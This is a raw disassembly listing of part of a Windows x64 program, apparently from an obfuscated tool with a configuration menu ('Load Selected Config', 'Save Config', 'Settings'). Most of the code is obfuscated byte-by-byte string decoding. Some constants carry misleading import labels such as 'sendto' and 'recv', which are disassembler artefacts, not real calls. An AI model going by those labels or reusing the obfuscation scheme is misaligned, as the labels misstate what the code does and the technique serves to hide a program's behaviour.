lea rcx, [rbx + r12]
mov rax, rcx
and rax, r10
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, r10
sub r11b, 0x64
jmp 0x1400a1570
je 0x1400a223c
lea rax, [r8 + 3]
cmp r9, rax
je 0x1400a2198
lea rax, [r8 + 5]
cmp r9, rax
je 0x1400a213a
lea rax, [r8 + 7]
cmp r9, rax
je 0x1400a210b
lea rax, [r8 + 2]
cmp r9, rax
je 0x1400a20d9
lea rax, [r8 + 4]
cmp r9, rax
je 0x1400a2081
nop word [rax + rax]
cmp r8, rbx
ja 0x1400a22be
lea rax, [r8 + 9]
cmp r9, rax
jae 0x1400a15a1
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x34
jmp 0x1400a15e2
lea rax, [r8 + 1]
cmp r9, rax
je 0x1400a2058
lea rax, [r8 + 5]
cmp r9, rax
je 0x1400a201f
lea rax, [r8 + 4]
cmp r9, rax
je 0x1400a1ff6
lea rax, [r8 + 6]
cmp r9, rax
je 0x1400a1fd2
lea rax, [r8 + 8]
cmp r9, rax
je 0x1400a1f9d
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400a1bac
nop
lea rax, [r8 + 0x40]
cmp r9, rax
je 0x1400a1b83
lea rax, [r8 + 0x3e8]
cmp r9, rax
je 0x1400a1b51
lea rax, [r8 + 0x41]
cmp r9, rax
je 0x1400a1b22
lea rax, [r8 + 0x400]
cmp r9, rax
je 0x1400a1afe
lea rax, [r8 + 0x5a]
cmp r9, rax
je 0x1400a1ad9
lea rax, [r8 + 4]
cmp r9, rax
je 0x1400a1aa0
lea rax, [r8 + 0xa]
cmp r9, rax
je 0x1400a1a77
lea rax, [r8 + 0x42]
cmp r9, rax
je 0x1400a1a53
lea rax, [r8 + 0x64]
cmp r9, rax
je 0x1400a15f0
lea r9, [r8 + 0x7a]
lea r8, [r9 + 0x1000]
lea rax, [r8 + 2]
cmp r9, rax
jb 0x1400a229a
lea rax, [r8 + 0x41]
cmp r9, rax
jb 0x1400a2271
lea rax, [r8 + 3]
cmp r9, rax
jb 0x1400a17bb
lea rax, [r8 + 9]
cmp r9, rax
jb 0x1400a179b
lea rax, [r8 + 0x40]
cmp r9, rax
jb 0x1400a1780
lea rax, [r8 + 0x3e8]
cmp r9, rax
jb 0x1400a19b2
lea rax, [r8 + 0x400]
cmp r9, rax
jb 0x1400a195e
lea rax, [r8 + 0x5a]
cmp r9, rax
jb 0x1400a192f
lea rax, [r8 + 4]
cmp r9, rax
jb 0x1400a15f0
lea r9, [r8 + 0x20]
lea r8, [r9 + 0xa]
lea rax, [r8 + 8]
cmp r9, rax
ja 0x1400a18f9
lea rax, [r8 + 0x28]
cmp r9, rax
ja 0x1400a18d1
lea rax, [r8 + 0x200]
cmp r9, rax
ja 0x1400a18a8
lea rax, [r8 + 0x7a]
cmp r9, rax
ja 0x1400a186f
lea rax, [r8 + 2]
cmp r9, rax
ja 0x1400a184b
lea rax, [r8 + 3]
cmp r9, rax
ja 0x1400a1821
lea rax, [r8 + 9]
cmp r9, rax
ja 0x1400a180d
lea rax, [r8 + 0x40]
cmp r9, rax
ja 0x1400a17e4
lea rax, [r8 + 0x3e8]
cmp r9, rax
ja 0x1400a15f0
lea r9, [r8 + 0x80]
lea r8, [r9 + 0x41]
jmp 0x1400a15f0
lea rcx, [rbx + r14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4c
jmp 0x1400a15e2
lea rdx, [rbx + r15]
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a1570
movabs rdx, 0x2fdc5e369ea3e964
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a14e5
movabs rdx, 0xebea69dd92381160
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a20a4
movabs rdx, 0x16d24a210755e068
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x1400a20e8
movabs rcx, 0x41ba2a647c73af70
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x10
dec rbx
inc rbx
jmp 0x1400a14d2
movabs rcx, 0x9789eaeb66af4d80
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x80
jmp 0x1400a2180
movabs rdx, 0xc271cb2edbcd1c88
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a14d2
movabs rdx, 0xed59ab7250eaeb90
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a21bf
movabs rdx, 0x18418bb5c608ba98
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x28
add r11b, dl
jmp 0x1400a21f3
movabs rcx, 0x43296bf93b2689a0
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x60
movzx eax, byte [rbp + rbx + 0xa40]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400a14d2
movabs rcx, 0x2e6d1ca1dff10f34
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x6c
mov byte [rbp + rbx + 0xa40], r11b
inc rbx
jmp 0x1400a14d2
movabs rdx, 0x5954fce5550ede3c
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
cmp r8, 2
jb 0x1400a194e
movabs rcx, 0x73ce528fab0fc168
add rcx, rbx
movzx eax, cl
and al, r10b
mov edx, reloc.WS2_32.dll_sendto
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea r11d, [rdx + rdx]
jmp 0x1400a20a4
movabs rdx, 0xaf24bd6c3f4a7c4c
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x14
add r11b, dl
lea rax, [r8 + r9]
cmp rax, 0x5a
je 0x1400a1f6d
lea rax, [r8 + 0x7a]
cmp r9, rax
jbe 0x1400a1d33
movabs rdx, 0x635fc7f68bf2d58c
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
cmp r9, 0x40
jae 0x1400a1f41
lea rax, [r8 + 0x20]
cmp r9, rax
jbe 0x1400a1e4c
movabs rdx, 0x20dd15323e39d7b8
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 8
add r11b, dl
jmp 0x1400a1982
movabs rcx, 0x9bd7afa9a2c7dc10
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x70
jmp 0x1400a21f3
movabs rdx, 0xc6bf8fed17e5ab18
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400a21bf
movabs rdx, 0xf1a770308d037a20
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a14d2
movabs rcx, 0x1c8f507402214928
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x18
jmp 0x1400a2180
movabs rcx, 0x477730b7773f1830
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x50
jmp 0x1400a2159
movabs rdx, 0x725f10faec5ce738
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x1400a14d2
movabs rdx, 0x9d46f13e617ab640
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r8
dec rbx
inc rbx
jmp 0x1400a14d2
movabs rdx, 0xc82ed181d6988548
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a20a4
lea rax, [r8 + 0x64]
cmp r9, rax
jae 0x1400a1bd5
lea rdx, [rbx + r12]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x64
jmp 0x1400a19d2
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1400a1c17
movabs rcx, 0x7afa9a77648e0458
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x68
movzx eax, byte [rbp + rbx + 0xa40]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400a14d2
lea rax, [r8 + 3]
cmp r9, rax
jne 0x1400a1c4d
movabs rdx, 0x252ad9f07a526648
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a21bf
lea rax, [r8 + 4]
cmp r9, rax
jne 0x1400a1c93
movabs rdx, 0xfa42f9ad05349740
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a14d2
lea rax, [r8 + 5]
cmp r9, rax
jne 0x1400a1cc9
movabs rdx, 0xcf5b19699016c838
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a2180
lea rax, [r8 + 7]
cmp r9, rax
jne 0x1400a1d00
movabs rcx, 0x798b58e2a5db2a28
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x18
dec rbx
inc rbx
jmp 0x1400a14d2
lea rax, [r8 + 8]
cmp r9, rax
jne 0x1400a19d5
movabs rdx, 0x23bb985bbb9f8c18
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400a20a1
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1400a1d69
movabs rdx, 0x3877e7b316d50684
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a20a4
inc rax
cmp r9, rax
jne 0x1400a1d9f
movabs rcx, 0xe2a8272c2c996874
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x2c
dec rbx
inc rbx
jmp 0x1400a14d2
lea rax, [r8 + 3]
cmp r9, rax
jne 0x1400a1dd5
movabs rdx, 0x8cd866a5425dca64
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a2180
lea rax, [r8 + 5]
cmp r9, rax
jne 0x1400a1e1b
movabs rdx, 0x61f08661cd3ffb5c
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a14d2
lea rax, [r8 + 4]
cmp r9, rax
jne 0x1400a1a14
movabs rcx, 0xc20c5dae3045d4c
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x14
jmp 0x1400a21f3
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1400a1e93
movabs rdx, 0xf5f534eec91c08b0
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0xa40]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400a14d2
lea rax, [r8 + 2]
cmp r9, rax
jne 0x1400a1ec9
movabs rdx, 0xcb0d54ab53fe39a8
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a21f3
lea rax, [r8 + 3]
cmp r9, rax
jne 0x1400a1f0a
movabs rcx, 0x753d942469c29b98
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x28
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a14d2
lea rax, [r8 + 6]
cmp r9, rax
jne 0x1400a1982
movabs rcx, 0xf485f35a0a692e80
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x80
dec rbx
inc rbx
jmp 0x1400a14d2
movabs rdx, 0x48e6724c35f1f260
add rdx, rbx
movzx eax, dl
and al, r10b
movzx ecx, byte [rbp + rbx + 0xa40]
sub cl, al
add cl, 0x30
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400a2159
movabs rdx, 0x1dfe9208c0d42358
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, byte [rbp + rbx + 0xa40]
sub r11b, 0x68
add r11b, dl
jmp 0x1400a21bf
movabs rcx, 0x3b566adc943abae4
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3c
movzx eax, byte [rbp + rbx + 0xa40]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400a14d2
movabs rcx, 0x663e4b20095889ec
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x74
jmp 0x1400a21f3
movabs rdx, 0x91262b637e7658f4
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a21bf
movabs rdx, 0xbc0e0ba6f39427fc
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a14d2
movabs rdx, 0x92956cf83d293324
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a20a4
movabs rdx, 0xe8652d7f2764d134
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x6c
add r11b, dl
movabs rcx, 0xde5a626df080d9e4
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x3c
add r10b, cl
mov byte [rbp + rbx + 0xa40], r10b
inc r8
dec rbx
inc rbx
jmp 0x1400a14d2
movabs rdx, 0x134d0dc29c82a03c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, rbx
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r8
dec rbx
inc rbx
jmp 0x1400a14d2
movabs rdx, 0x3e34ee0611a06f44
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x1400a14d2
movabs rcx, 0x691cce4986be3e4c
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x14
movabs rcx, 0xb372822a7b630adc
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 4
add cl, r10b
add cl, r11b
mov byte [rbp + rbx + 0xa40], cl
add r9, r8
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a14d2
mov r10, rdi
movabs rdx, 0xe9d46f13e617ab64
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movabs rdx, 0x888aa1e706453bd4
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0xa40], al
inc r8
add rax, r8
sub rbx, rax
movabs rcx, 0xf316b1c54bb65450
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x30
add r10b, cl
mov byte [rbp + rbx + 0xa40], r10b
inc r9
mov rax, r13
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx + 0xa40]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400a14d2
movabs rcx, 0x3fa42f9ad0534974
add rcx, rbx
movzx eax, dil
and al, cl
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x2c
movzx eax, byte [rbp + rbx + 0xa40]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400a14d2
movabs rdx, 0x5ac43e7a13c1b86c
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a14d0
movabs rcx, 0x85ac1ebd88df8774
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x2c
jmp 0x1400a14c0
lea rcx, [rbp + 0x17c7d90]
jmp 0x1400a22dd
lea rcx, [rbp + 0xad960c]
jmp 0x1400a22dd
lea rcx, [rbp + 0xa40]
xor r8d, r8d
xor edx, edx
call fcn.14003ff90
test al, al
je 0x1400a26b9
lea rcx, str.General
call fcn.140035f00
xorps xmm0, xmm0
movups xmmword [rbp + 0x1010], xmm0
movups xmmword [rbp + 0x1020], xmm0
movups xmmword [rbp + 0x1030], xmm0
movups xmmword [rbp + 0x1040], xmm0
mov rdx, qword [0x140220740]
add rdx, 0x60
lea rcx, [rbp + 0x1010]
call fcn.1400e3900
nop
lea rcx, [0x14021a8c0]
call fcn.1400018f0
xor r8d, r8d
mov rdx, rax
lea rcx, str.
call fcn.140036350
test al, al
je 0x1400a24a2
mov rdx, qword [0x140220740]
add rdx, 0x60
lea rcx, [rbp + 0x1050]
call fcn.1400e3900
nop
xor eax, eax
mov qword [rbp + 0xfb0], rax
mov rax, qword [rbp + 0x1058]
xor r8d, r8d
mov rdx, qword [rax]
lea rcx, [rbp + 0xfb0]
call fcn.14006ba70
xor eax, eax
mov qword [rbp + 0xfb8], rax
xor r8d, r8d
mov rdx, qword [rbp + 0x1058]
lea rcx, [rbp + 0xfb8]
call fcn.14006ba70
mov rax, qword [rbp + 0xfb0]
cmp rax, qword [rbp + 0xfb8]
je 0x1400a2485
nop word [rax + rax]
lea rbx, [rax + 0x10]
mov rdx, rbx
lea rcx, [rbp + 0xfe0]
call fcn.1400022f0
movzx eax, byte [rbx + 0x20]
mov byte [rbp + 0x1000], al
lea rdx, [0x14021a8c0]
lea rcx, [rbp + 0xfe0]
call fcn.14005b6d0
movzx ebx, al
mov dword [rsp + 0x70], 0
mov dword [rsp + 0x74], 0
lea rcx, [rbp + 0xfe0]
call fcn.1400018f0
lea r9, [rsp + 0x70]
xor r8d, r8d
movzx edx, bl
mov rcx, rax
call fcn.14003dbf0
test al, al
je 0x1400a244d
lea rdx, [rbp + 0xfe0]
lea rcx, [0x14021a8c0]
call fcn.140003de0
test bl, bl
je 0x1400a245b
call fcn.140014240
nop
lea rcx, [rbp + 0xfe0]
call fcn.140002490
mov rax, qword [rbp + 0xfb0]
mov rax, qword [rax]
mov qword [rbp + 0xfb0], rax
cmp rax, qword [rbp + 0xfb8]
jne 0x1400a23d0
lea rcx, [rbp + 0x1068]
call fcn.14005a870
lea rcx, [rbp + 0x1058]
call fcn.140064090
call fcn.1400184e0
mov dword [rsp + 0x78], 0
mov dword [rsp + 0x7c], 0
xor r8d, r8d
lea rdx, [rsp + 0x78]
lea rcx, str.Load_Selected_Config
call fcn.140033fb0
test al, al
je 0x1400a24fe
cmp qword [0x14021a8d0], 0
je 0x1400a24fe
lea rdx, [0x14021a8c0]
lea rcx, [rbp + 0x3e0]
call fcn.1400022f0
mov rdx, rax
mov rcx, qword [0x140220740]
call fcn.1400dbff0
mov dword [rbp - 0x80], 0
mov dword [rbp - 0x7c], 0
xor r8d, r8d
lea rdx, [rbp - 0x80]
lea rcx, str.Set_Selected_As_Default
call fcn.140033fb0
test al, al
je 0x1400a2557
cmp qword [0x14021a8d0], 0
je 0x1400a2557
lea rdx, [0x14021a8c0]
lea rcx, [rbp + 0x400]
call fcn.1400022f0
mov rdx, rax
mov rcx, qword [0x140220740]
call fcn.1400e1040
mov dword [rbp - 0x78], 0
mov dword [rbp - 0x74], 0
xor r8d, r8d
lea rdx, [rbp - 0x78]
lea rcx, str.Override_Selected_Config
call fcn.140033fb0
test al, al
je 0x1400a25b0
cmp qword [0x14021a8d0], 0
je 0x1400a25b0
lea rdx, [0x14021a8c0]
lea rcx, [rbp + 0x420]
call fcn.1400022f0
mov rdx, rax
mov rcx, qword [0x140220740]
call fcn.1400de570
lea rcx, str.Settings
call fcn.140035f00
mov dword [rbp - 0x70], 0
mov dword [rbp - 0x6c], 0
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x20], rax
mov r9d, reloc.WLDAP32.dll_Ordinal_50
lea rbx, [0x14021c600]
mov r8, rbx
lea rdx, [0x14019a380]
lea rcx, str.Cfg_Name
call fcn.14003a5f0
mov dword [rbp - 0x68], 0
mov dword [rbp - 0x64], 0
xor r8d, r8d
lea rdx, [rbp - 0x68]
lea rcx, str.Save_Config
call fcn.140033fb0
test al, al
je 0x1400a269b
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xfc0]
call fcn.140002620
nop
inc r13
cmp byte [rbx + r13], 0
jne 0x1400a2641
mov r8, r13
mov rdx, rbx
lea rcx, [rbp + 0xfc0]
call fcn.140004030
nop
cmp qword [rbp + 0xfd0], 0
je 0x1400a268f
lea rdx, [rbp + 0xfc0]
lea rcx, [rbp + 0x440]
call fcn.1400022f0
mov rdx, rax
mov rcx, qword [0x140220740]
call fcn.1400de570
nop
lea rcx, [rbp + 0xfc0]
call fcn.140002490
call fcn.140040010
nop
lea rcx, [rbp + 0x1028]
call fcn.14005a870
lea rcx, [rbp + 0x1018]
call fcn.140064090
call fcn.14003e740
call fcn.1400137c0
mov rcx, qword [rbp + 0x1090]
xor rcx, rsp
call fcn.1401830b0
lea r11, [rsp + 0x11a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140069350
int3